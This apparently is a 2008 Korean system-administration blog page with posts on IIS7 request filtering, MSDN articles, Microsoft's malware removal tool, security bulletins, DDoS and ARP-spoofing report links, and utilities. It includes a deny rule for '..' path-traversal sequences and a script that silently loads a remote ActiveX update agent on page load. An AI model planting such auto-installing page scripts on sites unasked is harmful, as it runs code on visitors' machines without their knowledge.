IIS7 에서는 위처럼 modrqflt.dll 을 통해서 필터 처리가 가능합니다. 위에 대한 실제 설정은 applicationHost.config 의 <system.webServer> <security> <requestFiltering> 노드의 각 항목에서 설정이 가능합니다.


1. 이중 인코딩 요청 필터링

<requestFiltering allowDoubleEscaping="false"></requestFiltering>


2. 최상위 비트 설정 문자 필터링

<requestFiltering allowHighBitCharacters="true"></requestFiltering>


3. 파일 확장자 기반 필터링 <기본값>




4. 요청 제한 필터링

<requestLimits maxAllowedContentLength="30000000" maxUrl="260" maxQueryString="25" />


5. Http 동사 제한 필터링 및 숨겨진 네임스페이스 필터링 <기본값>




6. URL 시퀀스 기반 필터링 

<denyUrlSequences>
   <add sequence=".." />
</denyUrlSequences>


14-modrqflt.png
14-modrqflt-fileExtensions.png
14-modrqflt-verbs.png

2008/01/14

IIS 7.0, WAS로 HTTP를 초월한 WCF 서비스 확장

2007년 9월 MSDN 매거진 내용중, IIS 7.0 에 관련하여 기존 IIS6.0 과 비교해서 IIS7.0 에서 새롭게 추가된 WAS(Windows Process Activation Service) 의 주된 내용을 다루고 있습니다.



IIS 7.0, WAS로 HTTP를 초월한 WCF 서비스 확장:

http://msdn.microsoft.com/msdnmag/issues/07/09/WAS/default.aspx?loc=ko

주요 내용은, IIS 6.0과 IIS 7.0의 아키텍처 및 프로세스 모델/ IIS 6.0에서 웹 서비스가 호스팅되는 방법/ IIS 7.0으로 WCF 서비스 호스팅/ WAS(Windows Process Activation Service)의 작동 방식/ HTTP 이외의 프로토콜 지원 등입니다.

목차

IIS 6.0 아키텍처와 프로세스 모델
IIS 7.0과 WAS
WAS의 내부
구성과 다중 프로토콜 주소 지정
수신기가 수신하는 방법
HTTP 이외의 프로토콜을 통한 메시지 기반 활성화
작업자 프로세스 초기화
수신기에서 작업자로 데이터 이동
WAS에 WCF 서비스 호스팅
WAS에서 호스팅되는 서비스의 수명 관리
WAS에서 호스팅되는 서비스의 자동 설정
WAS 확장



아키텍쳐와 관련된 내용으로 조금 딱딱하지만, 특히 WAS(Windows Process Activation Service) 모델을 이해 하는게 IIS7.0 에 있어서는 매우 중요할 것 같습니다.




<그림. http://www.iis.net/>


13-msdn_logo.gif
13-iis7-was.gif

2008/01/13

SQL Server, 성능 최적화를 위한 숨겨진 데이터 찾기

2008년 1월자 MSDN 매거진 내용중에, SQL Server 의 성능 최적화를 위한 점검 항목 및 예제 스크립트 쿼리에 대한 내용입니다. 역시 뭐 주옥 같다는 말 밖에는 할께 없을 정도로 좋은 내용 같습니다.



응용 프로그램 성능 최적화를 위한 숨겨진 데이터 찾기:
http://msdn.microsoft.com/msdnmag/issues/08/01/SqlDmvs/default.aspx?loc=ko


주된 내용은, 동적 관리 뷰 및 함수/ 서버 대기의 원인/ 일반적인 인덱스 문제/ 논리 I/O와 관련된 문제에 관련해서 필자의 예제 데이터 베이스 및 SQL Server 를 토대로 점검 결과와 그에 대한 분석 방법을 설명해 놓고 있습니다.

목차:

서버 대기의 원인
읽기 및 쓰기
데이터베이스별 누락된 인덱스
비용이 높은 누락된 인덱스
사용되지 않는 인덱스
사용 비용이 높은 인덱스
자주 사용되는 인덱스
논리적으로 조각난 인덱스
I/O 비용이 높은 쿼리
CPU 비용이 높은 쿼리
비용이 높은 CLR 쿼리
가장 많이 실행된 쿼리
차단당하는 쿼리
가장 적게 재사용되는 계획
추가 작업



점검쿼리다운로드: DMVsinSQLServer2008_01.exe

http://download.microsoft.com/download/f/2/7/f279e71e-efb0-4155-873d-5554a0608523/
DMVsinSQLServer2008_01.exe


물론 상당수 점검 결과에 대한 내용은, 서버관리자 보다는 DB 개발자들이 관심 깊게 봐야 할 내용이고 실제 개선을 위한 쿼리 디자인 변경도 역시 개발자가 해줘야 하는 부분이 많습니다.



13-msdn_logo.gif

악성 소프트웨어 제거 도구 (The Malicious Software Removal Tool, mrt.exe)

요즘(2005년)?에 배포를 시작한지 꽤 된것 같은데요..  매월 보안 패치와 함께 Microsoft 에서는 "악성 소프트웨어 제거 도구" 를 배포 합니다.

악성 소프트웨어 제거 도구는 예전에 있었던 크나큰 문제를 일으켰던 Blaster, Sasser, Mydoom 웜 같은 치명적이고도 잘알려진 몇몇 바이러스를 제거하기 위해서 배포되는 툴입니다.



검사시작은, 명령행에서 mrt.exe 를 실행하면 검사창이 나옵니다.


일종의 안티바이러스툴의 역할을 하기는 하지만,. 실시간 감지나 사전치료를 하지 않으며 보통 매월 1개정도의 웜 검색을 추가하는 정도 입니다.

검출이 가능한 악성 소프트웨어 목록은 다음 주소에서 확인이 가능합니다.
http://www.microsoft.com/korea/security/malwareremove/families.mspx 



옵션은, 위 처럼 GUI 방식의 검사 및 명령행 인자를 통한 검사도 가능합니다. 보통 매월 배포가 되므로, 업데이트 시 자동으로 검사를 하나, 안티바이러스 툴이 설치되지 않은 경우에는 매월 보안 패치 업데이트후 중간에 한번 정도만 더 검사를 해줘도 좋을것 같습니다.

/Q 또는 /quiet - 자동 모드를 사용합니다.  
/? - 명령줄 스위치를 나열하는 대화 상자를 표시합니다. 
/N - 검색 전용 모드에서 실행합니다.
/F - 컴퓨터를 확장 검색합니다.
/F:Y - 컴퓨터를 확장 검색하고 모든 감염 파일을 자동으로 치료합니다.



검사후 기록은 %windir%\Debug 폴더에 Mrt.log 파일명으로 로그 파일이 기록이 됩니다.

Microsoft Windows Malicious Software Removal Tool v1.37, January 2008
Started On Sat Jan 12 17:30:43 2008

Results Summary:
----------------
No infection found.

Return code: 0
Microsoft Windows Malicious Software Removal Tool Finished On Sat Jan 12 22:59:33 2008


악성 소프트웨어 제거 도구에 대한 상세한 내용은 다음 kb 를 참고해 보면 될것 같습니다.
http://support.microsoft.com:80/kb/890830/

참고로,. 악성 소프트웨어 제거 도구는 안티바이러스툴을 대체하지 않습니다. 몇몇 치명적인 웜만 제거를 할 뿐이며 감염이 된 경우에만 검출이 됩니다.


13-mrt-1.gif
13-mrt-2.gif

2008/01/12

IIS7.0 통합된 ASP.NET 파이프라인을 활용한 응용 프로그램 향상

2008년 1월자 MSDN Magazine 에 좋은 내용이 하나 올라온것 같습니다.

물론 MSDN 이 개발자를 위한 내용 위주이지만,. 분명 서버엔진니어 에게도 도움이 될만한 내용 같습니다. 최소한 제가 보기엔 말이지요,..^^



통합된 ASP.NET 파이프라인을 활용한 응용 프로그램 향상:
http://msdn.microsoft.com/msdnmag/issues/08/01/PHPandIIS7/default.aspx?loc=ko


목차는 다음과 같습니다.

IIS와 PHP
응용 프로그램 설정
갤러리 보안
폼 인증
검색 엔진 친화적인 URL
친화적인 하이퍼링크 생성
성능 테스트
ASP.NET 출력 캐싱
배포 및 테스트
요약



주된 내용은,.

목차에 있는 것처럼 FastCGI 기술에 의한 PHP 의 성능향상에 관련된 내용과 오픈소스 프로젝트중에 하나인 Sourceforge 의 PHP 기반 이미지 갤러리를 설치하여 ASP.NET 의 폼인증과 IHttpModule 핸들러를 통한 URL Rewrite,

그리고 WCAT(Web Capacity Analysis Tool) 툴을 이용한 성능 테스트 결과와 성능을 높이기 위한 출력캐싱에 관련된 내용입니다.

예제 위주의 설명이므로 직접 따라해 보는 것도 좋을것 같습니다.^^


11-msdn_logo.gif

2008/01/11

Windows Server 2008 Failover Clustering (장애 조치 클러스터)

다음 동영상은,. TechNet Edge(http://edge.technet.com/) 에 올라온 동영상으로 Windows Server 2008에서의 클러스터링 세팅 및 예제를 간략하게 볼수 있는 동영상입니다.^^



 

원본주소: http://edge.technet.com/Media/Windows-Server-2008-Failover-Clustering/

동영상의 내용은, Windows Server 2008 의 Failover Clustering 의 기본 세팅 및 예제로 File Server 를 세팅, 공유폴더 게시 및 최초 2 node 에서 추가노드 세팅 방법, 그리고 쿼럼 디스크 설정에 관련된 9분 57초 동영상입니다.

Windows Server 2008 에서의 Failover Clustering 에 대한 간략한 내용은 다음 글들을 참고해 보셔도 좋을것 같습니다. 아직 Windows Server 2008 이 정식출시가 되지 않은 상태라서 공개된 자료가 그닥 많지 않습니다. ^^

꼬알라의 하얀집... : Windows Server 2008이 나오면... (7) - 장애 조치 클러스터:
http://blogs.technet.com/koalra/archive/2007/04/11/windows-server-codename-longhorn-
7.aspx


Failover Clustering with Windows Server 2008:
http://www.microsoft.com/windowsserver2008/failover-clusters.mspx


10-screencast.png

2008/01/10

IISLOG / ID: 3

IIS로깅이 C:\WINDOWS\system32\LogFiles\W3SVC1\ex071119.log 파일을 만들지 못했습니다. 데이터가 오류입니다.

MSExchangeSA / ID: 9175

이벤트 형식: 오류
이벤트 원본: MSExchangeSA
이벤트 범주: MAPI 세션
이벤트 ID: 9175

다음 오류로 인해 MAPI가 'OpenMsgStore'을(를) 호출하지 못했습니다.
정보 저장소를 열 수 없습니다.
Microsoft Exchange Server 컴퓨터에 로그온하지 못했습니다.
MAPI 1.0
ID 번호: 80040111-0286-00000000

2008년 1월 Microsoft 보안공지, TCP/IP 원격코드실행 및 LSASS 권한상승

-------------------------------------------------
보안 공지 MS08-001
-------------------------------------------------

제목: Windows TCP/IP의 취약점으로 인한 원격 코드 실행 문제점 (941644)

요약: 이 긴급 보안 업데이트는 비공개적으로 보고된 TCP/IP(Transmission Control Protocol/Internet Protocol) 처리의 취약점 2건을 해결합니다. 이 취약점을 악용한 공격자는 영향을 받는 시스템을 완전히 제어할 수 있습니다. 공격자가 프로그램을 설치하거나 데이터를 보고, 변경하거나 삭제하고 모든 사용자 권한이 있는 새 계정을 만들 수도 있습니다.

최대 심각도: 긴급

취약점으로 인한 영향: 원격 코드 실행

상세 정보: http://www.microsoft.com/korea/technet/security/bulletin/MS08-001.mspx


-------------------------------------------------
보안 공지 MS08-002
-------------------------------------------------

제목: LSASS의 취약점으로 인한 로컬 권한 상승 문제점 (943485)

요약: 이 중요 업데이트는 비공개적으로 보고된 Microsoft Windows LSASS(로컬 보안 기관 하위 시스템 서비스)의 취약점을 해결합니다. 취약점을 통해 공격자가 권한을 상승된 채로 임의 코드를 실행할 수 있습니다. 이 취약점을 악용한 공격자는 영향을 받는 시스템을 완전히 제어할 수 있습니다. 공격자가 프로그램을 설치하거나 데이터를 보고, 변경하거나 삭제하고 모든 사용자 권한이 있는 새 계정을 만들 수도 있습니다.

최대 심각도: 중요

취약점으로 인한 영향: 로컬 권한 상승

상세 정보: http://www.microsoft.com/korea/technet/security/bulletin/MS08-002.mspx

2008/01/06

IIS7 에서 PHP cgi 와 Fastcgi 성능 비교

다음 동영상은,. TechNet Edge(http://edge.technet.com/) 올라온 동영상으로 IIS7 에서 일반적으로 설치되는 PHP 와 Fastcgi 를 이용한 PHP 의 성능 비교를 간략하게 볼수 있는 동영상입니다.



Video: Getting PHP to perform on IIS7
 

원본주소: http://edge.technet.com/Media/393/

동영상 내용은, Cgimodule 과 Fastcgi 와 비교 / Output Cache / 이미지 Copyright 등에 대한 내용이며, 영어인데 그냥 내용만 봐도 될정도로 이해하기 쉽습니다.


FastCGI Extension for IIS6: http://www.iis.net/downloads/default.aspx?tabid=34&g=6&i=1521
FastCGI for IIS7: http://www.iis.net/downloads/default.aspx?tabid=34&i=1299&g=6

2008/01/05

무료 백신 "알약" 및 한국정보보호진흥원의 "PC자동업데이트"

대부분? 알고 있는 정보이지만,. 알집으로 유명한 알소프트에서 무료 백신인 "알약" 을 배포하고 있습니다. 물론 무료는 개인에 한정되지만,.

[다운로드: http://alyac.altools.co.kr/main/]


알약과 같은 무료 백신은, 꽤나 많습니다. 특히 외국계 안티바이러스 소프트웨어 등에서 Free 로 많이 배포되고 있습니다.

위키피디아의 안티바이러스 소프트웨어 종류 및 비교:
http://en.wikipedia.org/wiki/Comparison_of_antivirus_software




굳이 알약이 아니더라도, 이와 같은 소프트웨어는 컴퓨터에 익숙치 않는 사용자의 컴퓨터에도 설치가 될수 있도록 널리 알려져야 합니다.

[*알약이라는 단일 소프트웨어를 홍보하는 것은 아닙니다. 개인적으로는 시만텍의 노턴 안티바이러스를 더 선호 합니다. 그리고 서버측에는 iframe 삽입같은 html 코드까지 검출되는 Microsoft Forefront 를 더 권장합니다.]




중요한것은, 위처럼 운영체제에 상주하여 실시간 감시가 되는 소프트웨어 이어야 하고, 유료가 아닌 무료 형태로 제공이 되어야 한다는 점이겠지요..^^


또하나는, 요즘 패치를 꼭꼭 해주는 개인 유저들이 그닥 없다는 사실입니다.

오히려 Windows 자동업데이트 에서 패치관련 팝업이 뜬다는 이유로 해당 기능을 아예 disable 해버리는 경우도 종종 있습니다.



물론, 패치에 대한 개념 자체를 알지 못하는 컴퓨터 사용자들은 Windows 자동 업데이트 자체를 모르겠지요,. 있어도 개인 PC 보호를 위해서 활용을 못하니깐요.

이를테면,.위 알약처럼 백신 정의가 자동으로 업데이트 되지 않아도 백신만 설치되어 있으면 취약점으로부터 안전하다고 믿는 사용자들도 꽤나 많습니다.



위는, 한국정보보호진흥원에서 Microsoft 와 협업을 통해서 기존의 Windows 자동업데이트가 아닌 별도의 Agent 설치를 하는 ActiveX 입니다.



Windows 자동업데이트를 모르면,. 위처럼 ActiveX 면 무조건 설치하는 일반 사용자들에게는 더 좋은 방법일수 있습니다.

단순하게 다음과 같은 스크립트 코드를 자신이 운영하는 웹사이트에 넣어 주기만 하면 됩니다.

<script language="javascript" type="text/javascript">
 document.body.onload = Pcsmile_Onload;
 document.write('<OBJECT ID="PCSmile" CLASSID="clsid:4F17A0E3-ABCC-45BF-B859-6DE2A24D890C" codebase="http://download.pcsmile.co.kr/PCSmile/PCSmilePack.CAB#version=1,0,0,0" width=0 height=0 VIEWASTEXT></OBJECT>');

 function Pcsmile_Onload()
 {
  try {
   document.getElementById("PCSmile").SetDomain = document.location.hostname;
   document.getElementById("PCSmile").SetListLimit = 10;
   document.getElementById("PCSmile").SetPeriod = 30;
   document.getElementById("PCSmile").Exec();
  }
  catch(e){}
 }    
</script>

개인적으로, 위 스크립트 코드를 많은 사용자가 접속하면서 컴퓨터 초보가 다수 접속하는 웹사이트에 넣어주면 훨씬 더 좋을것 같습니다.

주변에, 갑자기 내컴퓨터가 느려졌다고 하소연 하는 유저들이 있나요?.. 그 컴퓨터가 다른 웹사이트나 서버를 공격하고 있을지 모를 일입니다. 본인도 모르게 공격자가 되어 있는 것이지요.


위와 같은 포스트를 작성하는 이유와, 컴퓨터 파워유저들이나 블로거들이 적극적으로 해줘야 하는 이유가 있습니다. 바로 최근에 유행하는 DDoS 해킹 사고 때문입니다.


최근 분산서비스공격(Distributed DOS attack)의 트랜드 : 네트워크 공격
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=302

DDoS 공격사례, 기법 및 이를 위한 Arp Spoofing 등 기술문서
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=388

뉴스에도 나온, 아이템매니아, 아이템베이 의 경우도 그렇습니다. 언젠가 모르게 자신이 운영하는 회사의 웹사이트가 DDoS 공격대상이 될지 모릅니다.

뉴스기사: http://media.tab.search.daum.net/Search?site=&q=%BE%C6%C0%CC%C5%DB%
B8%C5%B4%CF%BE%C6+ddos&w=news&SortType=&ResultType=&section
=


05-altoos-1.jpg
05-altoos-2.gif
05-windowsautoupdate.gif
05-kisa-1.gif
05-kisa-2.jpg

DDoS 공격사례, 기법 및 이를 위한 Arp Spoofing 등 기술문서

최근의 해킹 기법은, 이전과 다르게 다양한 방법을 통해서 이루어 지고 있습니다. 물론 시작은 웹사이트 취약점을 이용한 Sqlinjection 이 대부분입니다.

(참고, http://en.wikipedia.org/wiki/Sql_injection)

이와 같은 해킹의 최종목적은, 대상 웹사이트 및 IP 주소를 상대로한 DDoS 공격을 하기 위한것이 대부분입니다.

물론 이전 처럼, 데이터 탈취나 변조 및 시스템 파괴는 여전하지만,. 최근의 해킹 트랜드는 역시 DDoS 입니다.

DDoS 의 공격기법중에, 예전에는 주로 서비스거부 형태였으나 이제는 엄청난 트래픽을 밀어 넣어 해당 서버뿐만 아니라 해당 네트워크 자체를 마비시키는 방법입니다.


최근 분산서비스공격(Distributed DOS attack)의 트랜드 : 네트워크 공격
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=302


정보보호진흥원에 기술문서중에 몇개 링크입니다. 올려진 문서외에도 다양한 방법이 이용되고 있으나, 거의 대동소이 하므로 아래 문서만 참고하셔도 이해 하는데는 무리 없을것 같습니다.


아이템 거래사이트 대상 DDoS 공격사례 분석
http://www.krcert.or.kr/unimDocsDownload.do?fileName1=10_item.pdf&docNo=TR2007007

Virut 악성코드를 이용한 DDoS 공격기법 분석
http://www.krcert.or.kr/unimDocsDownload.do?fileName1=09_Virut.pdf&docNo=TR2007006

ARP Spoofing 공격 분석 및 대책
http://www.krcert.or.kr/unimDocsDownload.do?fileName1=TR20070704_ARP_Spoofing.pdf&
docNo=TR2007001


취약한 웹서버 공격을 통한 내부망 해킹 및 악성코드 삽입
http://www.krcert.or.kr/unimDocsDownload.do?fileName1=IN2007004.pdf&docNo=IN2007004

ARP Spoofing기법 이용한 웹페이지 악성코드 삽입사례
http://www.krcert.or.kr/unimDocsDownload.do?fileName1=IN2007003.pdf&docNo=IN2007003


특히, Arp Spoofing 의 경우 보안에 견고한 서버운영을 하더라도 해당 네트워크에 취약한 서버가 있을경우에는 정상적인 서버와 상관없이 정상적인 웹사이트 접속을 할 경우에도 해킹된 서버에 의해서 악성코드나 파일이 웹사이트 접속자에게 배포가 되므로 매우 치명적입니다.

한가지 매우 아쉬운 점은, 실제 해킹이 되어 Arp Spoofing 숙주로 이용되고 있더라도 대부분의 관리자나 서버까지 담당하는 개발자들 상당수가 대수롭지 않게 생각하고 있다는 것입니다. 왜 그럴까요?.. 서버나 웹사이트가 다운되지 않는 이상 서버는 이상없다는 것일까요?.. -_-;

위 문서외에도,. 인터넷상에 관련 문서는 꽤 많으며 현재에도 이와 같은 해킹 및 공격이 이루어지고 있는 네트워크가 있습니다. 꽤 많지만,.. 다만 알려지지 않아서 그 위험성이 잘 부각되어 있지 않을뿐..

2008/01/03

그래픽 기반 PowerShell Plus

PowerShell CTP 2 부터는,. GUI 인터페이스를 제공합니다.

이에 기반한 외부 툴중에 Vistual Studio 처럼 명령 자동완성 기능인 인텔리센스와 같은 기능을 제공하는 Shell Tools 의 PowerShell Plus 가 있습니다.



인터페이스는, Visual Studio 와 흡사합니다만,. Visual Studio 처럼 매우 다양한 기능을 제공하지는 않습니다. 흉내를 낸것 같아 보이는데요,.



그래도 PowerShell 자체가 명령행 기반 쉘이라는 점에서는 위와같은 인텔리센스 기능을 제공한다는 것은 훨씬 쉽게 코드 작업이 가능해 질것 같습니다.

설치는, PowerShell Plus 자체가 닷넷프레임워크 기반이라서 별도의 설치없이 압축파일만 푼뒤 실행파일인 PowerShellPlus.exe 만 실행하면 초기 설정외 별다른 사항없이 쉽게 실행 가능합니다.

다운로드: http://www.powershell.com/plus/  개인적인 목적에서만 Free 입니다.


개인적인 생각으로는, 추후에 이와 같은 기능이 Visual Studio 에 에드온 형태로 추가되지 않을까 싶습니다.^^


02-powershell-1.jpg
02-powershell-2.jpg

원격 관리를 위한, WS-Management (WinRM) v1.1

WS-Management (WinRM)은, Windows Server 2003 R2 에서 옵션으로 제공하는 하드웨어 관리를 위한 관리모델입니다.

- HTTP 및 HTTPS를 통한 원격 관리
- 하드웨어 관리
- 정책 기반 이벤트 전달


WS-Management(WinRM) OOB는 Windows XP SP2, Windows Server 2003 SP1, Windows Server 2003 SP2 및 Windows 2003 Server R2 플랫폼에서 WS-Management 기능을 지원하기 위한 지정 릴리스입니다. 이 제품은 Windows Server 2003 R2와 함께 배송된 버전의 WS-Management를 대체하게 됩니다.

다운로드:
http://www.microsoft.com/downloads/details.aspx?displaylang=ko&FamilyID=
845289ca-16cc-4c73-8934-dd46b5ed1d33


설치를 완료하면, 서비스 항목에 "Windows Remote Management (WS-Management)" 이 추가됩니다.


PowerShell 2.0 이용할려면, 위 WS-Management 이 필수로 설치되어 있어야 합니다.

PowerShell 다운로드:
crosoft.com/downloads/details.aspx?FamilyID=60DEAC2B-975B-41E6-9FA0-C2FD6AA6BC89&
displaylang=en


2008/01/02

실버라이트(Sliverlight)로 변경되고 있는 Microsoft 웹사이트



[Microsoft.com 영문 메인페이지로 동영상이 플레이 되고 있음]

Microsoft 가 자체 웹사이트를 대상으로 차세대 UX 라고 하는, Sliverlight 를 점차 적용을 하고 있는 것 같습니다. 물론 몇몇 부분은 Ajax 와 연동하여 디자인되고 있는것 같습니다.




Microsoft Download Center 는, 2가지 링크를 제공하는데 이전의 기본 Html 기반 Download Center 및 위와 같은 Sliverlight 기반 다운로드 센터 웹사이트를 제공하고 있습니다.

UX 향상을 위한 것인 만큼 깔끔하고 좋은것 같습니다.^^ 단순하게 보기만 좋으면 안되겠지요?..

Sliverlight 기반으로, 국내에서는 SBS 등 몇몇 웹사이트에서는 이미 실서비스를 하고 있고 점차 적용되는 웹사이트는 증가할 것으로 보입니다.

몇몇 블로그에서는, Flash, Flex 아류작이다. 곧 실패 할것이다 라는 섣부른 결론을 내리고 있지만, 개인적인 생각으로는 실패할수도 IE 와같은 여타 Microsoft 제품 처럼 성공을 거둘수도 있어 보입니다.

Microsoft 는 대부분, 남이 일궈 놓은것에 시장성이 있을 경우, 그 바탕위에 비슷한 제품을 내놓아서 시장을 장악하는 비지니스 모델? 을 가지고 있는것 같습니다.

Sliverlight 등 UX 에 관련해서, 중점적으로 다루어지는 블로그인 준서아빠가 생각하는 행복한 UX이야기(http://www.uxkorea.net/) 를 참고해 보시면 좋을것 같습니다.^^

2008/01/01

성능 카운터 로그를 이용한 보다 쉬운 프로파일링

SQL Server 의 프로필러(Profiler)는 실시간 쿼리 요청 내용을 확인할수 있는 도구 입니다. 이런 프로필러 도구는 주로 성능 측정을 위한 것과, 문제 해결을 위한 도구로 주로 사용되는데요,.



물론,. 프로필러에 익숙하다면,. 작업관리자 또는 성능모니터 띄워 놓고 프로필러 계속 돌리면서 체크하는 경우가 많습니다. 물론 자료 제출용이라면,. 로그를 따로 남겨야 겠지요?..^^

프로필러 에는 여러가지 추적 이벤트를 제공하므로 매우 상세한 쿼리 실행 추적이 가능합니다. 주로 프로필러를 이용하게 될때가 CPU 부하가 높아 졌을 경우이겠지요..

그러나 이 역시, 경험이 있는 관리자 라면,. 앞서 얘기한 작업관리자나 성능모니터 없이도,. 프로필러에서 제공하는 이벤트열만 가지고서도 충분히 추적이 가능합니다.

여기에서는,. 위처럼 성능데이터와 프로필러 추적자료를 따로 분석하여 관계에 대한 별도의 분석이 필요해 집니다. 그러나,. SQL Server 2005 프로필러 에서는, 성능데이터 로그와 추적데이터 로그의 연동 기능을 제공합니다.


방법은, 간단합니다.

먼저,. 성능 카운터 로그에서 해당 서버의 성능추적에 필요한 몇가지 카운터를 등록하여 로그를 남깁니다. 이때 로그를 남기는 시간은 대략 SQL Server 프로필러 의 로그 시간과 얼추 맞추는게 좋습니다.



그다음에는, SQL Server 프로필러 를 실행하여 프로필러 로그를 남기는 데요,. 파일로그와 테이블로그 2가지가 있는데,. 파일로그를 선택하는게 좋습니다.

원격지 SQL Server 에 테이블 로그를 남기면 상관없지만 로컬에 남기면 이 역시 부하이기 때문이기에 SQL Server 정확한 성능측정에 도움이 되지 못합니다.

어느정도 추적시간이 경과 되었다면, 성능카운터 로그 및 프로필러 추적로그를 종료하고 저장합니다. 그런다음,. SQL Server 프로필러 에서 추적로그를 불러오면,. [파일]-[성능 데이터 가져오기] 메뉴가 활성화 됩니다.

[성능 데이터 가져오기] 를 선택하여 앞서 기록했던 성능 카운터 로그 파일을 선택하면,. 다음과 같이 프로필러 추적 로그와 성능 카운터 로그를 실행 시간기준으로 매칭하여 보여줍니다.



이렇게 하면,. 특정 시간대에 실행된 쿼리와 카운터 로그를 통해 남겨진 성능 데이터를 서로 비교하여 연관 분석이 가능해 집니다.

위와 같은 분석은, 주워진 기본 기능에서의 분석이고, "SQL Nexus" 같은 툴을 이용하면 좀더 비쥬얼한 분석결과를 얻을수 있습니다.

SQL Server 블로킹,병목현상,트레이스,서버상태 분석툴 - SQL Nexus
http://www.serverinfo.pe.kr/Tools/UsefulTools.aspx?Seq=24


31-sql_profiler-1.gif
31-sql_profiler-3.gif
31-sql_profiler-2.gif

Http 웹 디버깅 프락시, Charles 3



특정 사이트의 Http 패킷 분석툴은,. 공개된 툴이 많이 있습니다. 그중에,. 다양한 옵션과 기능을 제공하는 Charles 3 입니다.

위 첨부된 이미지는,. 어디서 많이 본듯한 것인데요. 주로 웹사이트 다운로드 시간 체크를 제공하는 웹사이트에서 주로 보여지는 것입니다.

이와 같은 기능외에, 트리구조의 세세한 분석을 해주는 툴입니다.

개발 웹사이트 및 다운로드: http://xk72.com/charles/

개발 웹사이트의 기능 부분을 보면, 정말 다양한 기능을 제공하고 있습니다. 물론 그러한 기능 설명을 보지 않더라도 실제 설치를 해서 테스틀 해보면 정말 강력한 툴 임을 바로 느낄수 있지 않나 싶습니다.

다만,. 한가지 아쉬운??.. 것은 JRE 기반입니다. 그래서 JRE 가 설치되어 있어야 합니다. 그리고 프리는 아니고 쉐어웨어 이며 등록을 하지 않아도 30일 내 이용에는 별 무리는 없습니다만,.^^

주로, 웹접속 문제 해결을 위한 툴이므로,. 30일 이상 이용할 필요가 있나 싶습니다.-_-;

레지스트리 정리 툴, Registry Cleaner 2



레지스트리를 정리해 주는 툴입니다. 예전에도 그렇고 현재도 그렇습니다만,. 레지스트리 정리툴은 매우 많습니다.

그러나,. 공개자료실이나 안티스파이웨어 같은 유틸에 포함되어 있는 레지스트리 정리툴의 경우 솔직히 미덥지 못한 경우가 많습니다.

Registry Cleaner 2 는, 레지스트리 하이브 별로, 그리고 시스템 기능별로 레지스트리를 검색해서 불필요하거나 잘못된 키나 값을 검색하여 보여주며,. 불필요하다고 판단되거나 수정이 필요한 항목에 대해서 선택적으로 적용 가능합니다.

실행파일은 작고 가볍습니다. 그리고 무료 입니다.

다운로드: http://wisecleaner.com/ 


31-registrycleaner2.png

불필요 파일 삭제, 디스크 정리 툴, Disk Cleaner 2



백업파일이나 로그파일, 임시파일등 디크상에 존재하는, 불필요한 파일을 스캔해서 정리해 주는 툴입니다.

물론 이러한 기능은 보조도구에도 있습니다만,. Windows 자체에서 제공해 주는 것보다는 훨씬 더 빠르고 다양한 확장자를 제공해주며,. 검색된 파일 목록을 사전에 확인후 삭제를 할수 있습니다.

테스트 해보니,. 생각보다 깔끔하고 가볍습니다.

다운로드: http://wisecleaner.com/ 무료 툴입니다.


31-diskcleaner2.png

가장 많이 본 글